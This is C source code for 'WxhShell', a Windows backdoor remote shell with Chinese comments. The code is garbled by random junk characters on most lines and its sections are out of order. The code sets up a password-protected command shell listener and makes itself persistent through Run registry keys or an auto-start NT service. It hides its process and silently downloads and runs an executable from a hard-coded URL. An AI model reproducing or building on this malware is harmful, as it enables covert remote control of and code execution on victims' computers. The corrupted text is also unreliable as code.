g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }&e HU
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L\:m)g,F.
ce}A!v
if (!NtQueryInformationProcess) return 0; fs&$?mHL){
x5BS|3W$a
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3mo4;F,h9
if(!hProcess) return 0; )`f-qTe
C8>
i{XOO,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6AG]7d<
K4<"XF1A:
CloseHandle(hProcess); 3?]81v/
i#t-p\Tcz
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dB0#EJaE
if(hProcess==NULL) return 0; nH6SA1$kW
:VZS7$5
HMODULE hMod; 76)"uqv1x
char procName[255]; !ZH "$m|
unsigned long cbNeeded; rSJ!vQo
Cb
`hkvxt
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R P<M
%bN{FKNN
CloseHandle(hProcess);
h]ae^M
`v``}8tm
if(strstr(procName,"services")) return 1; // 以服务启动 ocZ}RI#Q
'WP~-}(
return 0; // 注册表启动 O0L]xr
} F{E@snc
K {v^Y,B
// 主模块
*af\U3kx
int StartWxhshell(LPSTR lpCmdLine) ~^Cx->l
{ @gK`RmhGE5
SOCKET wsl; O@a OKk
BOOL val=TRUE; .eD&UQ
int port=0; ~&D
=;M/
struct sockaddr_in door; 04Zdg:[3-!
NeY*l
if(wscfg.ws_autoins) Install(); DPxx9lN_rx
KJec/qca
port=atoi(lpCmdLine); 49=pB,H;H
=|1_6.tz
if(port<=0) port=wscfg.ws_port; ^7aqe*|vm
?5nEmG|kO
WSADATA data; 7wh4~
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )Su>8f[?e
MSS[-}
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; k}fC58q
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F,~BhKkbV
door.sin_family = AF_INET; ?g+3 URpK
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~O\A 0e
door.sin_port = htons(port); oqF?9<Vgc,
-#f.}H'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /e>%yq<9B
closesocket(wsl); g@>llve{
return 1; #17 &rizl
} kiM:(=5
1cOR?=G~
if(listen(wsl,2) == INVALID_SOCKET) { m)p|NdTZc8
closesocket(wsl); y7F
|v8bq
return 1; SzMh
} D8L5t<^1R
Wxhshell(wsl); yk?bz
WSACleanup(); =fRS UtX
&wK:R,~x6
return 0; J"AR3b@,$?
vEg%ivj3
} $~FZJ@qa
m*_X PY
// 以NT服务方式启动 Bp7p X
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #[=kQ&
{ YgcW1}
DWORD status = 0; JGHj(0j
DWORD specificError = 0xfffffff; ^>l <)$s
7o+L
serviceStatus.dwServiceType = SERVICE_WIN32; ?3BcjD0
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Vt}QPNt
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bp9RF
d{
serviceStatus.dwWin32ExitCode = 0; _rYW|*cIF
serviceStatus.dwServiceSpecificExitCode = 0; vz4(
k/
serviceStatus.dwCheckPoint = 0; oIick
serviceStatus.dwWaitHint = 0; iRrUIWx
}2;P`s
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `qhT
if (hServiceStatusHandle==0) return; G7&TMg7i
^.LB(GZ,
status = GetLastError(); BZW03e8|
if (status!=NO_ERROR) V _~lME
{ !rRBy3&
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6m?<"y8]
serviceStatus.dwCheckPoint = 0; ~4~r
serviceStatus.dwWaitHint = 0; _"
9 q(1
serviceStatus.dwWin32ExitCode = status; 5oG~ Fc
serviceStatus.dwServiceSpecificExitCode = specificError; $}su'EIo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _\\Al v.
return; Cik1~5iF
} }BC%(ZH6
CPy>sV3Ru0
serviceStatus.dwCurrentState = SERVICE_RUNNING; e7GYz7
serviceStatus.dwCheckPoint = 0; c~(61Sn]
serviceStatus.dwWaitHint = 0; ,]1f)>
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HU>>\t?d
} 1@OpvO5
k'O.1
// 处理NT服务事件,比如:启动、停止 kfnh1|D=aY
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;'{7wr|9
{ '=$`NG8l
switch(fdwControl) Ni>Ns=n
{ qj~=qV0p
case SERVICE_CONTROL_STOP: $3"hOEN@5`
serviceStatus.dwWin32ExitCode = 0; F 6sQeU
serviceStatus.dwCurrentState = SERVICE_STOPPED; KE,.Evyu=
serviceStatus.dwCheckPoint = 0; 9jI muSZ
serviceStatus.dwWaitHint = 0; bX2BEa8<"
{ ~!Sd|e:4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !+3&%vQ)
} ]|!|3lQ
return; d\>XfS
case SERVICE_CONTROL_PAUSE: X:s~w#>R
serviceStatus.dwCurrentState = SERVICE_PAUSED; Ua
\f]y
break; gf>H-718F
case SERVICE_CONTROL_CONTINUE: Ct-eD-X{
serviceStatus.dwCurrentState = SERVICE_RUNNING; &V*MNi,4Z
break; AwG0E`SU
case SERVICE_CONTROL_INTERROGATE: T9$~tv,5F
break; `l]Lvk8O
}; g "Du]_,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _<f%==
I'
} goiI*"6M
q`p0ul,n
// 标准应用程序主函数 gN<7(F
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VX8rM!3
{ X[.%[G|oj}
H_f8/H
// 获取操作系统版本 >/\TG8t,f
OsIsNt=GetOsVer(); By6O@ .\V
GetModuleFileName(NULL,ExeFile,MAX_PATH); #+D][LH4
WwsNAJ
// 从命令行安装 kHr-UJ!
if(strpbrk(lpCmdLine,"iI")) Install(); ng+sK
+PE-j| D
// 下载执行文件 2fkyz
if(wscfg.ws_downexe) { =SmU;t>t/
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) })]
iN"
WinExec(wscfg.ws_filenam,SW_HIDE); <xeB9
} e~
OrZhJ=_
SM)"vr_
if(!OsIsNt) { Pteti
// 如果时win9x,隐藏进程并且设置为注册表启动 90uXJyW;d
HideProc(); HYO/]\al
StartWxhshell(lpCmdLine); 7ucm1
} Z{vc6oj
else rPy,PQG2w
if(StartFromService()) iC
hIW/H
// 以服务方式启动 &i3SB[|
StartServiceCtrlDispatcher(DispatchTable); 9j^rFG!n
else e~gNGr]L/
// 普通方式启动 'eBD/w5U
StartWxhshell(lpCmdLine); rr,A Vw
'%/=\Q`
return 0; FWeUZI+
} >|RoLV
DXD+,y\=
Y>3zpeQ!&
0 ;LF>+fJ
=========================================== Q[3hOFCX
Z0H_l/g
5q@s6_"{
bn|HvLQ"1
fcp_<2KH
}>AA[ba"'
" i{N?Y0YQs0
-ewR:Y@j
#include <stdio.h> T]Q4=xsv
#include <string.h> I/upiq y
#include <windows.h>
TR*vZzoy
#include <winsock2.h> VFawASwQ
#include <winsvc.h> dY.X/f
#include <urlmon.h> wKdWE`|y
bbS,pid1
#pragma comment (lib, "Ws2_32.lib") ;=@O.iF;H
#pragma comment (lib, "urlmon.lib") AW\uE[kg
?/T=Gk
#define MAX_USER 100 // 最大客户端连接数 ;uc3_J]
#define BUF_SOCK 200 // sock buffer Muq~p~m}
#define KEY_BUFF 255 // 输入 buffer WF~x`w&\
fup?Mg-
#define REBOOT 0 // 重启 j0oto6z~b
#define SHUTDOWN 1 // 关机 V%;dTCq
2s,cyCw&
#define DEF_PORT 5000 // 监听端口 4`o0?_.'
?z|Bf@TJ[+
#define REG_LEN 16 // 注册表键长度 ^-Arfm%dn
#define SVC_LEN 80 // NT服务名长度 4VvE(f
m4uh<;C~
// 从dll定义API 0FL'8!e<
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _IEbRVpb
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BZTj>yd
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^o>WCU =
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6NyUGGRq
_7u&.l<;
// wxhshell配置信息 +B8oW3v# )
struct WSCFG { ^vV AuO
int ws_port; // 监听端口 f6SXXkO+
char ws_passstr[REG_LEN]; // 口令 =Gj~:|;$
int ws_autoins; // 安装标记, 1=yes 0=no #D(=[F
char ws_regname[REG_LEN]; // 注册表键名 t:oq't
char ws_svcname[REG_LEN]; // 服务名 xh<{lZ)KJ
char ws_svcdisp[SVC_LEN]; // 服务显示名 +3AX1o%p,#
char ws_svcdesc[SVC_LEN]; // 服务描述信息 h7.jWJTo
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]fh(b)8_,
int ws_downexe; // 下载执行标记, 1=yes 0=no GU1cMe
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :qR8 e J
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FncP,F$8
=d~pr:.F
}; bs%
RWwn
<WmjjD
// default Wxhshell configuration ]RadwH"0!
struct WSCFG wscfg={DEF_PORT, c;t3I},
"xuhuanlingzhe", 1W0[|Hf2v*
1, WHjJR
"Wxhshell", XmVst*2=
"Wxhshell", S}Z@g
"WxhShell Service", f2KH&j>~r
"Wrsky Windows CmdShell Service", x6\VIP"9L
"Please Input Your Password: ", 9P#kV@%(0c
1, 2.@IfBF6
"http://www.wrsky.com/wxhshell.exe", 2Z"\%ZD
"Wxhshell.exe" `x# }co
}; vz:VegS
BlT)hG(M>
// 消息定义模块 fOsvOC
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (<H@W/0$
char *msg_ws_prompt="\n\r? for help\n\r#>"; >#T?]5Z'MF
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m>w{vqPwJ
char *msg_ws_ext="\n\rExit."; 1B 0[dK2N
char *msg_ws_end="\n\rQuit."; 8U]mr+
char *msg_ws_boot="\n\rReboot..."; <?;KF2A({
char *msg_ws_poff="\n\rShutdown..."; _D+J3d(Pjk
char *msg_ws_down="\n\rSave to "; ?caHS2%?ae
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char *msg_ws_err="\n\rErr!"; l8%BRG
char *msg_ws_ok="\n\rOK!"; gCL}Ba
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char ExeFile[MAX_PATH]; "9 vL+Hh
int nUser = 0; I&^hG\D
HANDLE handles[MAX_USER]; K1;b4Sl?A
int OsIsNt; )*.rl
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SERVICE_STATUS serviceStatus; vQoZk,
SERVICE_STATUS_HANDLE hServiceStatusHandle; CNWA!1n^Hy
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// 函数声明 o=lZl_5/u;
int Install(void); NSzTl-eS
int Uninstall(void); KNF{NFk
int DownloadFile(char *sURL, SOCKET wsh); ka`}lR
int Boot(int flag); S]e;p\8$Z
void HideProc(void); $RC)e7
int GetOsVer(void); 64'sJc.
int Wxhshell(SOCKET wsl); ;D(6Gy9~
void TalkWithClient(void *cs); rof9Rxxe-
int CmdShell(SOCKET sock); f&Sovuuh
int StartFromService(void); cp`ZeLz2^
int StartWxhshell(LPSTR lpCmdLine); uE%2kB*]
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !Ap*PL
VOID WINAPI NTServiceHandler( DWORD fdwControl ); urL@SeV+$
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// 数据结构和表定义 &-vHb
SERVICE_TABLE_ENTRY DispatchTable[] = B\ZCJaMb
{ ?;_Mx al'
{wscfg.ws_svcname, NTServiceMain}, J'I1NeK
{NULL, NULL} x97L>>|
}; [KW)z#`*
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// 自我安装 |$GPJaNqa
int Install(void) BISH34
{ (
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char svExeFile[MAX_PATH]; P|;v >
HKEY key; j0=H6Y
strcpy(svExeFile,ExeFile); ]4FAbY2'h
1:{+{Yl7
// 如果是win9x系统,修改注册表设为自启动 IFt aoK
if(!OsIsNt) { bc& 5*?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?'tFTh
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iQiXwEAi[
RegCloseKey(key); ,OkI0[
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 530Kk<%^}8
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A#F6~QX(.9
RegCloseKey(key); raMtTL+
return 0; &}_tALg
} |k: FNu]C
} qE6D"+1y7
} gU@R
else { (|tR>R.Wxg
+}f}!h;
// 如果是NT以上系统,安装为系统服务 rF/<}ye/4M
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P (fWJVF7
if (schSCManager!=0) FaaxfcIfkw
{ }fhGofN$e
SC_HANDLE schService = CreateService ^>y|{;`
( pA\"Xe&
schSCManager, w)>/fG|;
wscfg.ws_svcname, v#5hK<9
wscfg.ws_svcdisp, x*:"G'zT
SERVICE_ALL_ACCESS, Q_k'7Z\g$
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h,MaF<~
SERVICE_AUTO_START, )qD V3
SERVICE_ERROR_NORMAL, QC1\Sn /
svExeFile, ?]_A~_J!
NULL, TO/SiOd
NULL, *M6j)jqV
NULL, }%3i8e
NULL, b,#?LdQ%
NULL Rvj[Csgi
); AFWWGz
if (schService!=0) PJ)d5D%T
{ UrdSo"%
CloseServiceHandle(schService); y*-D
CloseServiceHandle(schSCManager); 'lgS;ItpKu
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NV\{$*j(|J
strcat(svExeFile,wscfg.ws_svcname); ]OC?g2&6
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sQO>1bh
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W: 3fLXk+
RegCloseKey(key); Ge*N%=MX8
return 0; <t,lq
} g:&PjKA
} U;Yw\&R